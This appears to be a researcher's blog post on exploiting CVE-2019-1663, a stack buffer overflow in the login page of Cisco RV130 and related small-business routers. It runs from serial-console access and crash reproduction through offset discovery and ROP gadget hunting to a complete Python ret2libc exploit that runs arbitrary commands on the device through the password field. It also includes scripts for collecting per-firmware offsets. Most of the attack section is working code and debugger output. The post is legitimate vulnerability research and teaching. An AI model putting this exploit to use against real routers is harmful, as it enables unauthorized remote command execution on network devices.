A few months ago, Pentest Partners published an article explaining CVE-2019-1663, a stack buffer overflow affecting multiple low end devices from Cisco (RV110, RV130, RV225).

I kinda missed doing binary exploitation on ARM based platform so I thought this would be a good opportunity to get back to it.

Getting a live target

I initially reproduced it with a combination of QEMU, an unpacked firmware and libnvram but the exploit was worthless given that offsets would be wrong on real Cisco devices. I therefore ordered a second hand device on eBay.

I’m used to Cisco devices so I thought I could at least get a shell on the device via SSH or using a console cable but that damn RV130 does not provide either of those :/

To overcome this, I opened the enclosure and identified UART pinout. From there I was able to connect over serial using a Shikra, an FTDI32 based device from @XipiterSec.

cisco_rv130_uart.jpg

I did not have a logic analyzer with me so I identified the baud rate via trial and error (correct baud rate is 38400). Once the device has booted, you’ll be greeted with what we all want: a root shell :)

U-Boot 2008.10-mpcore-svn4057 (Mar 30 2017 - 17:03:34)
Cavium Networks CNS3XXX SDK v1.2-2515 CNS3420vb2x parallel flash

CyberTan U-Boot Version: 1.0.3.28

CPU: Cavium Networks CNS3000
ID Code: 410fb024 (Part number: 0xB02, Revision number: 4) 
CPU ID: 900 
Chip Version: c
Boot from parallel flash

--boot log--
BusyBox v1.7.2 (2017-03-30 17:11:36 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0 gid=0
# uname -avr
Linux RV130W 2.6.31.1-cavm1 #1 Thu Mar 30 17:04:29 CST 2017 armv6l unknown

It’s now time to reproduce the bug !

Reproducing the bug

If you read Pentest Partners’ article, you’ll see this sample request:

POST /login.cgi HTTP/1.1
Host: 192.168.22.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.22.158/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 571

submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1
&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ
&sel_lang=EN

First step is to get gdbserver on our device and attach it to our running http server. I downloaded a statically linked version of gdbserver for ARMv6l from Hugsy’s (creator of GEF) repo.

# cd /tmp/
# wget http://192.168.1.100:8000/gdbserver
Connecting to 192.168.1.100:8000 (192.168.1.100:8000)
gdbserver            100% |*******************************|  1599k --:--:-- ETA
# chmod +x gdbserver
# ps w | grep httpd
  808 0          5028 S   httpd
  816 0          5092 S   httpd -S
# ./gdbserver --attach :1234 816
Attached; pid = 816
Listening on port 1234

Now we can remotely connect to gdbserver using gdb-multiarch. I’m using the following GDB init file to make things easier:

set architecture arm
set follow-fork-mode child
file /home/quentin/research/RV130/squashfs-root/usr/sbin/httpd
set solib-search-path /home/quentin/research/RV130/squashfs-root/lib
target remote 192.168.1.1:1234

When you submit the sample request, you’ll see a segfault like the one below. Success !

cisco_rv130_bug_repro

Identifying buffer length

In order to know how much padding is required to overflow the buffer to which strcpy will copy, we will use gef “pattern create” and “pattern search”.

gef➤ pattern create 512
[+] Generating a pattern of 512 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
zaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
zaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
zaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
zaafbaafcaaf
[+] Saved as '$_gef0'

Let’s trigger the crash with this pattern:

curl -i -k -X POST https://192.168.1.1/login.cgi -d 'submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&sel_lang=EN'

We see the crash happening when the executable tries to execute instruction at 0x616d6560:

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x616d6560 in ?? ()

We can now find the offset by searching through our pattern. Note that I search for 0x616d6561 instead of 0x616d6560 because when the least significant bit is even, ARM CPU switch to thumb mode.

gef➤  pattern search 0x616d6561
[+] Searching '0x616d6561'
[+] Found at offset 446 (little-endian search) likely

Now we know that our exploit payload will need 446 of padding in order to overflow the buffer and take control of the program counter.

Ret2Libc

ret2libc.jpg

Our first exploit will make use of “return to libc”. The idea behind it is quite simple: instead of executing a ROP chain to make the stack executable and then making the program counter points to the stack in order to execute a shellcode, we simply make r0 (first argument) point to the stack and then call system.

To do so, we need to obtain the following:

  • base address of libc when mapped by the system
  • offset address of system within libc
  • a gadget to move the stack pointer value into r0
  • a gadget to pop the program counter off the stack in order to call system

It’s quite easy to get the first two with a live debugging session. First call vmmap to see the memory mappings. As we can see in the output below, libc is mapped at 0x357fb000.

gef➤  vmmap
Start      End        Offset     Perm Path
0x00008000 0x00099000 0x00000000 r-x /usr/sbin/httpd
0x000a0000 0x000a9000 0x00090000 rwx /usr/sbin/httpd
0x000a9000 0x000de000 0x00000000 rwx [heap]
0x35556000 0x35557000 0x00000000 rwx 
0x35558000 0x3555d000 0x00000000 r-x /lib/ld-uClibc.so.0
0x35564000 0x35565000 0x00004000 r-x /lib/ld-uClibc.so.0
0x35565000 0x35566000 0x00005000 rwx /lib/ld-uClibc.so.0
0x35566000 0x3556d000 0x00000000 r-x /usr/lib/libnvram.so
0x3556d000 0x35574000 0x00000000 --- 
0x35574000 0x35575000 0x00006000 rwx /usr/lib/libnvram.so
0x35575000 0x3557d000 0x00000000 rwx 
0x3557d000 0x355d7000 0x00000000 r-x /usr/lib/libshared.so
0x355d7000 0x355de000 0x00000000 --- 
0x355de000 0x355e4000 0x00059000 rwx /usr/lib/libshared.so
0x355e4000 0x355ed000 0x00000000 rwx 
0x355ed000 0x35608000 0x00000000 r-x /usr/lib/libcbt.so
0x35608000 0x35610000 0x00000000 --- 
0x35610000 0x35611000 0x0001b000 rwx /usr/lib/libcbt.so
0x35611000 0x35612000 0x00000000 r-x /usr/lib/librogueap.so
0x35612000 0x3561a000 0x00000000 --- 
0x3561a000 0x3561b000 0x00001000 rwx /usr/lib/librogueap.so
0x3561b000 0x35672000 0x00000000 r-x /usr/lib/libssl.so.1.0.0
0x35672000 0x3567a000 0x00000000 --- 
0x3567a000 0x35680000 0x00057000 rwx /usr/lib/libssl.so.1.0.0
0x35680000 0x357dd000 0x00000000 r-x /usr/lib/libcrypto.so.1.0.0
0x357dd000 0x357e4000 0x00000000 --- 
0x357e4000 0x357f9000 0x0015c000 rwx /usr/lib/libcrypto.so.1.0.0
0x357f9000 0x357fb000 0x00000000 rwx 
0x357fb000 0x35858000 0x00000000 r-x /lib/libc.so.0
0x35858000 0x35860000 0x00000000 --- 
0x35860000 0x35861000 0x0005d000 r-x /lib/libc.so.0
0x35861000 0x35862000 0x0005e000 rwx /lib/libc.so.0
0x35862000 0x35867000 0x00000000 rwx 
0x35867000 0x35869000 0x00000000 r-x /lib/libdl.so.0
0x35869000 0x35870000 0x00000000 --- 
0x35870000 0x35871000 0x00001000 r-x /lib/libdl.so.0
0x35871000 0x35872000 0x00000000 rwx 
0x35872000 0x3587c000 0x00000000 r-x /lib/libgcc_s.so.1
0x3587c000 0x35883000 0x00000000 --- 
0x35883000 0x35884000 0x00009000 rwx /lib/libgcc_s.so.1
0x35884000 0x35904000 0x00000000 rwx /SYSV00000457(deleted)
0x35904000 0x35984000 0x00000000 r-x /SYSV00000457(deleted)
0x9efaa000 0x9efbf000 0x00000000 rw- [stack]

To get system’s offset you can either do it ‘offline’ using radare2:

radare2 -A libc.so.0
[x] Analyze all flags starting with sym. and entry0 (aa)
[Value from 0x00000000 to 0x0005cfec
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x0000bbc0]> afl | grep system
 0x0003ed84    1 72           sym.svcerr_systemerr
 0x0004d144    7 328          sym.system

Or ‘online’ using GDB:

gef➤  b system
Breakpoint 1 at 0x35848144

The value from GDB is simply the function offset (0x0004d144 added to libc’s map 0x357fb000).

So we got system’s address, now we need to find our gadgets. To do so I’ll rely on Ropper.

(ropper)> file libc.so.0
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc.so.0/ELF/ARM)> search mov r0, sp
[INFO] Searching for gadgets: mov r0, sp

[INFO] File: libc.so.0
0x00010d08: mov r0, sp; bl #0xba64; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x00028700: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x00028764: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, pc};
0x00018964: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x0002868c: mov r0, sp; bl #0xba64; mov r0, r6; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x0004ab0c: mov r0, sp; bl #0xf170; add sp, sp, #0xc; pop {r4, r5, pc};
0x00041308: mov r0, sp; blx r2;
0x00041308: mov r0, sp; blx r2; add sp, sp, #0x1c; ldm sp!, {pc}; mov r0, #1; bx lr;
0x00037884: mov r0, sp; blx r3;
--snip--

In my opinion the most insteresting one is the one located at 0x00041308, which means we need to find a gadget that will pop r2 off the stack.

(libc.so.0/ELF/ARM)> search pop {r2
[INFO] Searching for gadgets: pop {r2

[INFO] File: libc.so.0
0x00052620: pop {r2, r3}; bx lr;
0x00052620: pop {r2, r3}; bx lr; push {r1, lr}; mov r0, #8; bl #0xbba8; pop {r1, pc};

Nothing really interesting, let’s switch to THUMB mode to see if anything comes up:

(libc.so.0/ELF/ARM)> arch ARMTHUMB
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARMTHUMB)> search pop {r2
[INFO] Searching for gadgets: pop {r2

[INFO] File: libc.so.0
0x000060b8 (0x000060b9): pop {r2, r3, r4, r5, pc};
0x0003d1bc (0x0003d1bd): pop {r2, r3, r4, r5, r6, pc};
0x00020b98 (0x00020b99): pop {r2, r3, r4, r5, r6, r7, pc};
0x00053294 (0x00053295): pop {r2, r3, r4, r5, r7, pc};
0x0002a0e4 (0x0002a0e5): pop {r2, r3, r4, r6, r7, pc};
0x00027b80 (0x00027b81): pop {r2, r3, r4, r7, pc};
0x00020bd8 (0x00020bd9): pop {r2, r3, r5, r6, r7, pc};
0x0003d11c (0x0003d11d): pop {r2, r3, r5, r7, pc};
0x00020e38 (0x00020e39): pop {r2, r4, r6, pc};
0x00006eb8 (0x00006eb9): pop {r2, r5, r6, r7, pc};
0x00020e78 (0x00020e79): pop {r2, r6, pc};
0x000209f6 (0x000209f7): pop.w {r2, r6, r7, sl, ip, lr}; movs r4, r0; lsls r4, r1, #0x1d; movs r0, r0; blx lr;
0x000443ae (0x000443af): pop.w {r2, r6, r8, sb, fp, ip}; movs r2, r0; strh r4, [r0, r7]; movs r0, r0; blx lr;

Better ! I’ll use the gadget at 0x00020e79.

Exploit MVP

So let’s write a quick minimum viable product in Python:

#!/usr/bin/env python
"""
Exploit for Cisco RV130 stack-based buffer overflow (CVE-2019-1663).

This piece of code will execute a command on the device by using ret2libc
technique.
"""
import struct
import sys
import requests


offset = 446
libc_base_addr = 0x357fb000
system_offset = 0x0004d144
gadget1 = 0x00020e79 # pop {r2, r6, pc};
gadget2 = 0x00041308 # mov r0, sp; blx r2;

def exploit(ip, cmd):

    buf = "A" * offset
    buf += struct.pack("<L", libc_base_addr + gadget1)
    buf += struct.pack("<L", libc_base_addr + system_offset) # r2
    buf += "XXXX"                                            # r6
    buf += struct.pack("<L", libc_base_addr + gadget2) #pc
    buf += cmd

    params = {
        "submit_button": "login",
        "submit_type": None,
        "gui_action": None,
        "wait_time": 0,
        "change_action": None,
        "enc": 1,
        "user": "cisco",
        "pwd": buf,
        "sel_lang": "EN"
    }
    requests.post("https://%s/login.cgi" % ip, data=params, verify=False)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: %s ip cmd" % (sys.argv[0]))
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

The exploit will work by following these steps:

We overwrite the programm counter with the address of gadget1. When executing gadget1 (pop {r2, r6, pc}), the stack looks like this:

stack

This means that r2 will hold the address of system, r6 random garbage, and the program counter will hold the gadget2 address, making the program branch to that address.

When executing gadget2, the stack looks like this:

stack

We then branch to r2 which holds the address to system, with r0 as parameter. Given that r0 points to the stack, system will execute our command.

Industrializing Exploit Writing

Targeting the RV130 was easy because libc.so didn’t change from release to release, meaning all offsets are the same regardless of firmware version:

find -name "libc.so.0" -exec sha1sum {} \;
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.0.21/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.1.3/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.2.7./lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.14/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.16/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.22/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.28/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.44/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.45/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.51/lib/libc.so.0

However, when adapting the Metasploit module to support RV110W and RV215W devices, I was faced with a really repetitive and boring task: finding offsets for each and every firmware version.

I therefore wrote two utility scripts taking advantage of radare2 and Ropper scripting capabilities.

The first one automatically returns system’s address from a provided libc file:

#!/usr/bin/env python
import sys
import json
import r2pipe
import os

def get_system_offset(executable):
    """
    Args:
        executable(str): path to ELF file
    Returns:
        offset(int): address of system
    """
    r = r2pipe.open(executable, flags=['-2'])
    r.cmd('aa')
    functions = json.loads(r.cmd("aflj"))
    for f in functions:
        if f['name'] == 'sym.system':
            return hex(f['offset'])
    r.quit()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: {} executable_path".format(sys.argv[0]))
        sys.exit(-1)

    print("{} - {}".format(sys.argv[1], get_system_offset(sys.argv[1])))

Here’s the script in action when searching for system’s offset in all RV110 firmware versions:

find -type f -name 'libc.so.0' -exec ./find_system.py {} \; 
./firmwares/RV110W_FW_1.1.0.9/lib/libc.so.0 - 0x50d40
./firmwares/RV110W_FW_1.2.0.9/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.0.10/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.1.4/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.1.7/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.2.1/lib/libc.so.0 - 0x50d40
./firmwares/RV110W_FW_1.2.2.4/lib/libc.so.0 - 0x4c7e0

The second one finds a specific gadget’s offset within a file:

#!/usr/bin/env python
from ropper import RopperService
import sys
# not all options need to be given
options = {'color' : False,     # if gadgets are printed, use colored output: default: False
            'badbytes': '00',   # bad bytes which should not be in addresses or ropchains; default: ''
            'all' : False,      # Show all gadgets, this means to not remove double gadgets; default: False
            'inst_count' : 6,   # Number of instructions in a gadget; default: 6
            'type' : 'all',     # rop, jop, sys, all; default: all
            'detailed' : False} # if gadgets are printed, use detailed output; default: False

rs = RopperService(options)

##### change options ######
rs.options.color = True
rs.options.badbytes = '00'
rs.options.badbytes = ''
rs.options.all = True


##### open binaries ######
# it is possible to open multiple files
rs.addFile(sys.argv[1], arch='MIPS')

# load gadgets for all opened files
rs.loadGadgetsFor()

result_dict = rs.searchdict(search=sys.argv[2])
for file, gadgets in result_dict.items():
    print file
    for gadget in gadgets:
        print hex(gadget.address), gadget

And here’s the script in action:

find -name "libcrypto.so" -exec ./search_gadget.py {} 'addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;' \;
./RV110W_FW_1.1.0.9/usr/lib/libcrypto.so
0x167c8cL 0x00167c8c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.0.9/usr/lib/libcrypto.so
0x167c4cL 0x00167c4c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.0.10/usr/lib/libcrypto.so
0x151fbcL 0x00151fbc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.1.4/usr/lib/libcrypto.so
0x5059cL 0x0005059c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.1.7/usr/lib/libcrypto.so
0x3e7dcL 0x0003e7dc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;

Conclusion

I hope you learned something from this little side project I had. For pentesters who would like to take advantage of this vulnerability, a Metasploit module that supports all affected devices and firmware versions has been recently merged.

As always, if you have any question just get in touch on Twitter or by email :)

comments powered by Disqus